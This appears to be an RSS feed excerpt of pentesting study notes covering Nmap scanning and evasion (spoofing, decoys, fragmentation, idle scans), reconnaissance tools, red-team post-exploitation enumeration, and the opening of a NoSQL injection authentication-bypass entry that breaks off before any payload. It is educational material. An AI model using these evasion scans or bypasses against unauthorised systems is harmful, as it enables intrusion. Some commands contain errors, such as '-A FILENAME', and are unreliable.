&lt;li&gt;Remember that an ARP query will precede the ICMP request if your target is on the same subnet.&lt;/li&gt;
&lt;li&gt;To use ICMP echo request to discover live hosts, add the option &lt;code&gt;-PE&lt;/code&gt;. (Remember to add &lt;code&gt;-sn&lt;/code&gt; if you don’t want to follow that with a port scan.)&lt;/li&gt;
&lt;li&gt;an ICMP echo scan works by sending an ICMP echo request and expects the target to reply with an ICMP echo reply if it is online.&lt;/li&gt;
&lt;li&gt;Commnd &lt;code&gt;sudo nmap -PE -sn TARGETS&lt;/code&gt; can scan with ARP ICMP ping on targets&lt;/li&gt;
&lt;li&gt;Adding the &lt;code&gt;-PP&lt;/code&gt; option tells Nmap to use timestamp request (ICMP Type 13) and checks whether it will get a Timestamp reply (ICMP Type 14). Fr example: &lt;code&gt;sudo nmap -PP -sn TARGETS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Similarly, Nmap uses address mask queries (ICMP Type 17) and checks whether it gets an address mask reply (ICMP Type 18). This scan can be enabled with the option &lt;code&gt;-PM&lt;/code&gt;. For Example: &lt;code&gt;sudo nmap -PM -sn TARGETS&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="host-discovery-using-tcp-and-udp"&gt;Host Discovery Using TCP and UDP:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TCP SYN PING&lt;/code&gt;: We can send a packet with the SYN (Synchronize) flag set to a TCP port, 80 by default, and wait for a response. An open port should reply with a SYN/ACK (Acknowledge); a closed port would result in an RST (Reset). We dont really care about the state of port in this case.&lt;/li&gt;
&lt;li&gt;If you want Nmap to use TCP SYN ping, you can do so via the option &lt;code&gt;-PS&lt;/code&gt; followed by the port number, range, list, or a combination of them. For example, -PS21 will target port 21&lt;/li&gt;
&lt;li&gt;Privileged users (root and sudoers) can send TCP SYN packets and don’t need to complete the TCP 3-way handshake even if the port is open. . Unprivileged users have no choice but to complete the 3-way handshake if the port is open.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TCP ACK Ping&lt;/code&gt;: Sends a packet with an ACK flag set. You must be running Nmap as a privileged user to be able to accomplish this. If you try it as an unprivileged user, Nmap will attempt a 3-way handshake.&lt;/li&gt;
&lt;li&gt;Here, We are sending TCP packet with an ACK flag set to all the targets. So, targets which are up should reply with TCP packet with an RST flag set.&lt;/li&gt;
&lt;li&gt;To use TCP ACK ping with nmap, we use flag &lt;code&gt;-PA&lt;/code&gt;. For example &lt;code&gt;sudo nmap -PA -sn TARGETS&lt;/code&gt; to discover the online hosts on targtet&amp;rsquo;s network.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UDP PIng&lt;/code&gt;:Contrary to TCP SYN ping, sending a UDP packet to an open port is not expected to lead to any reply. However, if we send a UDP packet to a closed UDP port, we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available.&lt;/li&gt;
&lt;li&gt;Nmap uses &lt;code&gt;-PU&lt;/code&gt; for UDP ping. For example: &lt;code&gt;sudo nmap -PU -sn TARGETS&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="reverse-dns-lookup"&gt;Reverse DNS Lookup:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Nmap’s default behaviour is to use reverse-DNS online hosts. Because the hostnames can reveal a lot, this can be a helpful step. However, if you don’t want to send such DNS queries, you use &lt;code&gt;-n&lt;/code&gt; to skip this step.&lt;/li&gt;
&lt;li&gt;By default, Nmap will look up online hosts; however, you can use the option &lt;code&gt;-R&lt;/code&gt; to query the DNS server even for offline hosts. If you want to use a specific DNS server, you can add the &lt;code&gt;--dns-servers&lt;/code&gt; DNS_SERVER option.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="nmap-basic-port-scans"&gt;Nmap Basic Port Scans&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TCP Connect Scan&lt;/code&gt;: TCP connect scan works by completing the TCP 3-way handshake. In standard TCP connection establishment, the client sends a TCP packet with &lt;code&gt;SYN&lt;/code&gt; flag set, and the server responds with &lt;code&gt;SYN/ACK&lt;/code&gt; if the port is open; finally, the client completes the 3-way handshake by sending an &lt;code&gt;ACK&lt;/code&gt;. A closed TCP port responds to a SYN packet with &lt;code&gt;RST/ACK&lt;/code&gt; to indicate that it is not open.&lt;/li&gt;
&lt;li&gt;You can choose to run TCP connect scan using &lt;code&gt;-sT&lt;/code&gt; with nmap. For example: &lt;code&gt;nmap -sT 10.49.140.143&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We can use &lt;code&gt;-F&lt;/code&gt; to enable fast mode and decrease the number of scanned ports from 1000 (default) to 100 most common ports.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TCP SYN SCan&lt;/code&gt;: Default scan mode is SYN scan, and it requires a privileged (root or sudoer) user to run it.&lt;/li&gt;
&lt;li&gt;We are interested in learning whether the TCP port is open, not establishing a TCP connection. Hence the connection is torn as soon as its state is confirmed by sending a &lt;code&gt;RST/ACK&lt;/code&gt; (closed) or &lt;code&gt;SYS/ACK&lt;/code&gt; (open) (only privilaged users allowed) by sending the &lt;code&gt;RST&lt;/code&gt; flag. We can select this scan type by using the &lt;code&gt;-sS&lt;/code&gt; option.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UDP Scan&lt;/code&gt;: UDP is a connectionless protocol, and hence it does not require any handshake for connection establishment. We cannot guarantee that a service listening on a UDP port would respond to our packets. However, if a UDP packet is sent to a closed port, an ICMP port unreachable error (type 3, code 3) is returned.&lt;/li&gt;
&lt;li&gt;We can select UDP scan using the &lt;code&gt;-sU&lt;/code&gt; option; For example: &lt;code&gt;sudo nmap -sU 10.48.177.222&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fine-tuning-scope-and-performance"&gt;Fine-Tuning Scope and Performance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We can choose to control the packet rate using &lt;code&gt;--min-rate &amp;lt;number&amp;gt;&lt;/code&gt; and &lt;code&gt;--max-rate &amp;lt;number&amp;gt;&lt;/code&gt;. For example, &lt;code&gt;--max-rate 10&lt;/code&gt; or &lt;code&gt;--max-rate=10&lt;/code&gt; ensures that your scanner is not sending more than ten packets per second.&lt;/li&gt;
&lt;li&gt;We can control probing parallelization using &lt;code&gt;--min-parallelism &amp;lt;numprobes&amp;gt;&lt;/code&gt; and &lt;code&gt;--max-parallelism &amp;lt;numprobes&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="ports"&gt;Ports&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;We can specify the ports you want to scan instead of the default 1000 ports.&lt;/li&gt;
&lt;li&gt;port list: &lt;code&gt;-p22,80,443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;port range: &lt;code&gt;-p1-1023&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;all ports (0 - 65535): &lt;code&gt;-p-&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Top 100 ports: &lt;code&gt;-F&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Top 10 ports: &lt;code&gt;--top-ports 10&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="scan-timing"&gt;scan timing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;We can control the scan timing using -T&amp;lt;0-5&amp;gt;. -T0 is the slowest (paranoid), while -T5 is the fastest.&lt;/li&gt;
&lt;li&gt;paranoid (T0), sneaky (T1), polite (T2), normal (T3), aggressive (T4), insane (T5)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="nmap-advanced-port-scans"&gt;NMAP Advanced Port-scans:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;For instance, an ACK flag is set when you want to acknowledge received data. An ACK scan is like trying to acknowledge data that was neither sent nor received in the first place. Consider this simple analogy, someone coming to you out of nowhere to tell you, “yes, I hear you, please continue.” when you haven’t said anything.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="popular-tcp-scans"&gt;Popular TCP Scans:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Null Scan&lt;/code&gt; (tcp segment with no flag set, &lt;code&gt;-sN &lt;/code&gt;, respond with &lt;code&gt;RST-ACK&lt;/code&gt; if the port is closed port)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FIN Scan&lt;/code&gt; (only FIN Flag is set, &lt;code&gt;sF&lt;/code&gt;, respond with &lt;code&gt;RST-ACK&lt;/code&gt; if the port is closed port)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Xmas Scan&lt;/code&gt; (FIN, PSH, URG flags are set, &lt;code&gt;-sX&lt;/code&gt;, respond with &lt;code&gt;RST-ACK&lt;/code&gt; if the port is closed port)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Maimon Scan&lt;/code&gt; (FIN and ACK bits are set, &lt;code&gt;-sM&lt;/code&gt;, send an RST packet as a response on closed port )&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ACK Scan&lt;/code&gt; (Send a TCP packet with the ACK flag set, &lt;code&gt;-sA&lt;/code&gt;, respond with the RST regardless of the state of the port without firewall, reveal unblocking ports with firewall)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Window Scan&lt;/code&gt; (Same as the ACK scan; however, it examines the TCP Window field of the RST packets returned &lt;code&gt;-sW&lt;/code&gt;, )&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Custom Scan&lt;/code&gt; (we can experiment with providing customized flags in tcp segment, using &lt;code&gt;--scanflag RSTSYSFIN&lt;/code&gt; &amp;ndash;&amp;gt; proving the three flags: reset, sys, fin )&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="spoofed-ip-address"&gt;Spoofed IP Address:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Sometimes we supposed to scan target with spoofed Ip or even a spoofed MAC. We can make use of &lt;code&gt;nmap -S SPOOFED_IP TARGETS&lt;/code&gt;. The target machine will respond to the incoming packets sending the replies to the SPOOFED_IP.&lt;/li&gt;
&lt;li&gt;We will need to issue &lt;code&gt;nmap -e NET_INTERFACE -Pn -S SPOOFED_IP TARGETS&lt;/code&gt; to tell Nmap explicitly which network interface to use and not to expect to receive a ping reply. It is worth noting that this scan will be useless if the attacker system cannot monitor the network for responses.&lt;/li&gt;
&lt;li&gt;When you are on the same subnet as the target machine, you would be able to spoof your MAC address as well. You can specify the source MAC address using &lt;code&gt;--spoof-mac SPOOFED_MAC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Why dont we make the scan appear to be coming from many IP addresses so that the attacker’s IP address would be lost among them. Lets say &lt;code&gt;nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME MACHINE_IP&lt;/code&gt;, where the third and fourth source IP addresses are assigned randomly, while the fifth source is going to be the attacker’s IP address.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="fragmented-packets"&gt;Fragmented Packets:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Nmap provides the option -f to fragment packets. Once chosen, the IP data will be divided into 8 bytes or less. Adding another -f (-f -f or -ff) will split the data into 16 byte-fragments instead of 8.&lt;/li&gt;
&lt;li&gt;You can change the default value by using the &amp;ndash;mtu; however, you should always choose a multiple of 8.&lt;/li&gt;
&lt;li&gt;For example: &lt;code&gt;sudo nmap -sS -p80 -f 10.20.30.144. &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="idlezombie-scan"&gt;Idle/Zombie Scan:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;It requires an idle system connected to the network that you can communicate with. Practically, Nmap will make each probe appear as if coming from the idle (zombie) host, then it will check for indicators whether the idle (zombie) host received any response to the spoofed probe. This is accomplished by checking the IP identification (IP ID) value in the IP header. You can run an idle scan using &lt;code&gt;nmap -sI ZOMBIE_IP MACHINE_IP&lt;/code&gt;, where ZOMBIE_IP is the IP address of the idle host (zombie).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="getting-more-details"&gt;Getting more details:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;You might consider adding &lt;code&gt;--reason&lt;/code&gt; if you want Nmap to provide more details regarding its reasoning and conclusions (i mean why Nmap concluded that the system is up or a particular port is open.). For example: &lt;code&gt; sudo nmap -sS --reason 10.10.252.27&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For more detailed output, you can consider using -v for verbose output or -vv for even more verbosity.&lt;/li&gt;
&lt;li&gt;We can use -d for debugging details or -dd for even more details.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="nmap-post-port-scans"&gt;NMAP Post port scans&lt;/h2&gt;
&lt;h4 id="service-detection"&gt;Service Detection:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Adding &lt;code&gt;-sV&lt;/code&gt; to nmap will collect and determine service and version information for the open ports. We can control the intensity with the &lt;code&gt;--version-intensity LEVEL&lt;/code&gt; where level ranges from 0 (lightest) to 9. &lt;code&gt;-sV --version-light&lt;/code&gt; has an intensity of 2, while &lt;code&gt;-sV --version-all&lt;/code&gt; has an intensity of 9.&lt;/li&gt;
&lt;li&gt;Its important to understand that &lt;code&gt;-sV&lt;/code&gt; will force the nmap to use tcp 3-way handshake and establish the connection. In otherwords &lt;code&gt;-sS&lt;/code&gt; is not possible when &lt;code&gt;-sV&lt;/code&gt; option is used.&lt;/li&gt;
&lt;li&gt;Example: &lt;code&gt;sudo nmap -sV TARGET&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="os-detection-and-traceroute"&gt;OS Detection and traceroute:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Nmap can detect the OS based on its behaviour and any telltale signs in its responses. Its enabled by using &lt;code&gt;-O&lt;/code&gt;. For example, &lt;code&gt;namp -sS -O TARGET&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If we want the nmap to find the routers between the you and target, we can make use of &lt;code&gt;--traceroute&lt;/code&gt;. Please note nmap results slightly different from &lt;code&gt;traceroute&lt;/code&gt; command as its starts with a packet of low TTL and keeps incresing until it reaches the target. Nmap&amp;rsquo;s traceroute starts with a packet of high TTL and keeps decreasing it. For example: &lt;code&gt;nmap -sS --traceroute TARGET&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="nmap-scripting-engine"&gt;Nmap scripting engine&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Nmap provides support for scripts using the Lua language. A part of Nmap, Nmap Scripting engine (NSE) is a Lua interpreter that allows Nmap to execute scripts written in the Lua language.&lt;/li&gt;
&lt;li&gt;Default Nmap installation may easily contain around 600 scripts. Take a look at the nmap installation folder &lt;code&gt;ls -la /usr/share/nmap/scripts&lt;/code&gt; for scripts conventiently named starting with protocol they target.&lt;/li&gt;
&lt;li&gt;We can specify to use any or a group of these installed scripts, moreover we can install other user&amp;rsquo;s scripts and use them for our scans.&lt;/li&gt;
&lt;li&gt;Lets begin with defaults, we can use &lt;code&gt;--script=default&lt;/code&gt; or &lt;code&gt;-sC&lt;/code&gt; to run the scripts in the default catogory. For example: &lt;code&gt;sudo nmap -sS -sC TARGET&lt;/code&gt; will do a syn scan with executing the defautl scripts.&lt;/li&gt;
&lt;li&gt;In addition to default, we have other catagories, please have a look here
&lt;pre tabindex="0"&gt;&lt;code&gt;	auth		- Authentication related scripts
	broadcast	- Discover hosts by sending broadcast messages
	brute		- Performs brute-force password auditing against logins
	default		- Default scripts, same as -sC
	discovery	- Retrieve accessible information, such as database tables and DNS names
	dos			- Detects servers vulnerable to Denial of Service (DoS)
	exploit 	- Attempts to exploit various vulnerable services
	external	- Checks using a third-party service, such as Geoplugin and Virustotal
	fuzzer		- Launch fuzzing attacks
	intrusive	- Intrusive scripts such as brute-force attacks and exploitation
	malware		- Scans for backdoors
	safe		- Safe scripts that won’t crash the target
	version		- Retrieve service versions
	vuln		- Checks for vulnerabilities or exploit vulnerable services
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;We can specify the script by name using &lt;code&gt;--script &amp;quot;SCRIPT-NAME&amp;quot;&lt;/code&gt; or a pattern such as &lt;code&gt;--script &amp;quot;ftp&amp;quot;&lt;/code&gt; which would includ ftp related scripts.&lt;/li&gt;
&lt;li&gt;For example: &lt;code&gt;sudo nmap -sS -n --script &amp;quot;http-date&amp;quot; TARGET&lt;/code&gt; runs the script http-date which retrieve the http-server date and time.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="saving-the-output"&gt;Saving the Output:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Normal Format&lt;/code&gt;: We can save the scan results in Normal format using &lt;code&gt;-oN FILENAME&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Greppable Format&lt;/code&gt;: grep stands for &lt;code&gt;Global Regular Expression Printer&lt;/code&gt;. It makes filtering scan output for specific keywords or terms efficient. We can save output in this format using &lt;code&gt;-oG FILENAME&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XML Format&lt;/code&gt;: lets use &lt;code&gt;-oX FILENAME&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;why dont we do all at a time?&lt;/code&gt;: &lt;code&gt;nmap -sS TARGET -A FILENAME&lt;/code&gt;, its give three files: FILENAME.gnmap, FILENAME.nmap, FILENAME.xml&lt;/li&gt;
&lt;li&gt;&lt;code&gt;script kiddie&lt;/code&gt;: You can see this format is useless if you want to search the output for any interesting keywords or keep the results for future reference. However you can use it to save the output of scan &lt;code&gt;nmap -sS 127.0.0.1 -oS FILENAME&lt;/code&gt;, display the output filename and look 31337 in font of friends who are non-tech savy.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Reconissance</title><link>https://silent-resistor.github.io/resources/jr-pentester/recon/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/recon/</guid><description>&lt;h2 id="passive-reconnaissance"&gt;Passive Reconnaissance:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rely on publicly available knowledge. It is the knowledge that you can access from publicly available resources without directly engaging with the target. Think of it like you are looking at target territory from afar without stepping foot on that territory. For Example:&lt;/li&gt;
&lt;li&gt;Looking up DNS records of a domain from a public DNS server.&lt;/li&gt;
&lt;li&gt;Checking job ads related to the target website.&lt;/li&gt;
&lt;li&gt;Reading news articles about the target company.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="whois"&gt;Whois:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;WHOIS is a request and response protocol that follows the RFC 3912 specification. A WHOIS server listens on TCP port 43 for incoming requests.&lt;/li&gt;
&lt;li&gt;The domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing. The WHOIS server replies with various information related to the domain requested such as Registrar, Contact info of registrant, Creation &amp;amp;update &amp;amp; expiration dates, Name Server.&lt;/li&gt;
&lt;li&gt;To get this information, we need to use a whois client or an online service.&lt;/li&gt;
&lt;li&gt;The syntax is &lt;code&gt;whois DOMAIN_NAME&lt;/code&gt;, where DOMAIN_NAME is the domain about which you are trying to get more information. For example: &lt;code&gt;whois tryhackme.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="nslookup-name-server-lookup"&gt;nslookup (name server lookup):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Used to find IP address of domain name&lt;/li&gt;
&lt;li&gt;command format: &lt;code&gt;nslookup domain_name&lt;/code&gt;. For example &lt;code&gt;nslookup tryhackme.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Or we can also provide options to get desired response,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nslookup OPTIONS domain_name dns_server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Most popular dns servers: Cloudflare offers 1.1.1.1 and 1.0.0.1, Google offers 8.8.8.8 and 8.8.4.4, and Quad9 offers 9.9.9.9 and 149.112.112.112.&lt;/li&gt;
&lt;li&gt;OPTIONS include: &lt;code&gt;A&lt;/code&gt;- ipv4, &lt;code&gt;AAAA&lt;/code&gt; - ipv6, &lt;code&gt;CNAME&lt;/code&gt; - conical name, &lt;code&gt;MX&lt;/code&gt; - Mail servers, &lt;code&gt;SOA&lt;/code&gt; - Start of authority, &lt;code&gt;TXT&lt;/code&gt; - TXT Records.&lt;/li&gt;
&lt;li&gt;For example, &lt;code&gt;nslookup -type=A tryhackme.com 1.1.1.1&lt;/code&gt; returns all the ipv4 addresses of tryhackme.com&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nslookup --type=MX tryhackme.com&lt;/code&gt; returns all the mail servers and configurations from the tryhackme.com&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="dig-domain-information-grouper"&gt;dig (Domain Information Grouper):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Also, used to gather info about the dns records.&lt;/li&gt;
&lt;li&gt;command format: &lt;code&gt;dig @DNS_SEVER DOMAIN_NAME TYPE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For example: &lt;code&gt;dig tryhackme.com MX&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;dig returns more info than nslookup such as TTL by default&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="how-to-discover-subdomains-of-particular-domain"&gt;How to discover subdomains of particular domain:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dnsdumpster.com"&gt;https://dnsdumpster.com&lt;/a&gt; - it will return all the collected DNS information in easy-to-read tables and graph. It will also provide any collected information about the listening servers. (resolve dns, and geolocate ips, provides owner info as well)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="active-reconnaissance"&gt;Active reconnaissance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It requires direct engagement with the target. Think of it like you check the locks on the doors and windows, among other potential entry points. For example:&lt;/li&gt;
&lt;li&gt;Connecting to one of the company servers such as HTTP, FTP, and SMTP.&lt;/li&gt;
&lt;li&gt;Calling the company in an attempt to get information (social engineering).&lt;/li&gt;
&lt;li&gt;Entering company premises pretending to be a repairman.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="web-browser"&gt;Web browser:&lt;/h4&gt;
&lt;h4 id="ping"&gt;Ping:&lt;/h4&gt;
&lt;h4 id="tracroute-tracert-in-windows"&gt;tracroute (tracert in windows):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;The purpose of a traceroute is to find the IP addresses of the routers or hops that a packet traverses as it goes from your system to a target host.&lt;/li&gt;
&lt;li&gt;commannd format &lt;code&gt;traceroute ip_or_hostnaame&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="telnet"&gt;Telnet:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;The TELNET (Teletype Network) protocol was developed in 1969 to communicate with a remote system via a command-line interface (CLI). Hence, the command telnet uses the TELNET protocol for remote administration.&lt;/li&gt;
&lt;li&gt;The default port used by telnet is 23. From a security perspective, telnet sends all the data, including usernames and passwords, in cleartext.&lt;/li&gt;
&lt;li&gt;Knowing that telnet client relies on the TCP protocol, you can use Telnet to connect to any service and grab its banner. Using &lt;code&gt;telnet 10.49.153.206 PORT&lt;/code&gt;, you can connect to any service running on TCP and even exchange a few messages unless it uses encryption.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET / HTTP/1.1&lt;/code&gt; or specify something other than the default index page, you can issue &lt;code&gt;GET /page.html HTTP/1.1&lt;/code&gt; with HTTP version 1.1 for communication&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="nmap"&gt;nmap:&lt;/h4&gt;</description></item><item><title>The Lay of the Land</title><link>https://silent-resistor.github.io/resources/red-teaming/the-lay-of-land/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/the-lay-of-land/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It is essential to be familiar with the environment where you have intial access to a compromized machine during a red team engagement. Therefore performing reconnaissance and enumeration is crucial, and primary goal is to gather as much information as possible to be used in the next stage. With an intial foothold established, the post exploitation process begins!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="network-infrastructure"&gt;Network Infrastructure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Once arriving onto an unknown network, our first goal is to identify where we are and what we can get to. During the red team engagement, we need to understand what target system we are dealing with, what service the machine provides, what kind of network we are in. Thus, the enumeration of the compromised machine after getting intial access is the key to answering these questions.&lt;/li&gt;
&lt;li&gt;Network segmentation is an extra layer of network security divided into multiple subnets. It is used to improve the security and management of the network. For example, it is used for preventing unauthorized access to corporate most valuable assets such as customer data, financial records etc.&lt;/li&gt;
&lt;li&gt;The Virtual Local Area Network (VLANs) is network technique used in the network segmentation to control networking issues, such as broadcasting issues in the local network, and improve security. Hosts within the VLAN can only communicate with other hosts in same VLAN network.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="internal-networks"&gt;Internal Networks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;These are subnetworks that are segmented an separated based on importance of internal device or the importance of the accessebility of its data. The main purpose of internal network(s) is to share information, faster and easier communication, collabation tools, operation systems, and network services within organization.&lt;/li&gt;
&lt;li&gt;In a corporate network, Network Admnistrator intend to use network segmentation for various reasons, including controlling network traffic, optimizing network performance, and improving security posture.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="a-demilitarized-zone-dmz"&gt;A Demilitarized Zone (DMZ)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A DMZ network is an edge network that protects and adds an extra security to a corporate&amp;rsquo;s internal local area network from untrusted traffic. A common design for DMZ is a subnetwork that sites between the public internet and internal networks.&lt;/li&gt;
&lt;li&gt;Designing a network within the company depends on its requirements and need. For example, suppose provides public services such as a website, DNS, FTP, Proxy, VPN etc In this case, they may design a DMZ network to isolate and enable access control on public network traffic, untrusted traffic.&lt;/li&gt;
&lt;li&gt;In the below diagram, represents the network traffic to DMZ network in red color, which is untrusted. The green network traffic between the internal network is the controlled traffic that may go through one or more network security devices.
&lt;img src="https://silent-resistor.github.io/resources_redteam/dmz_network.png" alt="DMZ Network"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="network-enumeration"&gt;Network Enumeration&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;There are various things to check related networking aspects as TCP, UDP ports and established connections, routing tables, ARP tables, etc..
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lets start checking the target machine&amp;#39;s TCP, UDP open ports, with the netstat. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -an
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Let&amp;#39;s list the ARP table, which contains the IP address and &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# the physical address of the computers that communicated with the target machines within the network.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;arp -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="active-directory-ad-environment"&gt;Active Directory (AD) Environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It is a Windows-based directory service that stores and provides data objects to the internal network environment. It allows for centralized management of authentication and authorization.&lt;/p&gt;</description></item><item><title>No SQL Injections</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/no_sql_injections/</link><pubDate>Sat, 31 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/no_sql_injections/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;several db options not based on SQL also exists such as MongoDB, Redis etc..&lt;/li&gt;
&lt;li&gt;MongoDB allows you retrieve subsets of data in a quick and structured form. Information stored isnot stored on tablesbut rather in documents&lt;/li&gt;
&lt;li&gt;Filter out only doc with specific last_name: &lt;code&gt;['last_name' =&amp;gt; 'Sandler']&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Filter docs with gender and last_name: &lt;code&gt;['gender' =&amp;gt; 'male', ['last_name' =&amp;gt; 'Sandler']&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Retrieve docs where age&amp;lt;50: &lt;code&gt;['age' =&amp;gt; ['$lt' =&amp;gt; '50']]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="no-sql-injection"&gt;No-SQL Injection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Lets say, a web application making a query to MongoDB, using query &lt;code&gt;['username' =&amp;gt; $user, 'password' =&amp;gt; $pass]&lt;/code&gt;, where both $user and $pass are obtained directly from HTTP POST parameters. Let&amp;rsquo;s take a took at thow we can leverage operator injection in order to bypass authentication.&lt;/li&gt;
&lt;li&gt;If somehow, we could send an array to the $user and $pass variables with following content.
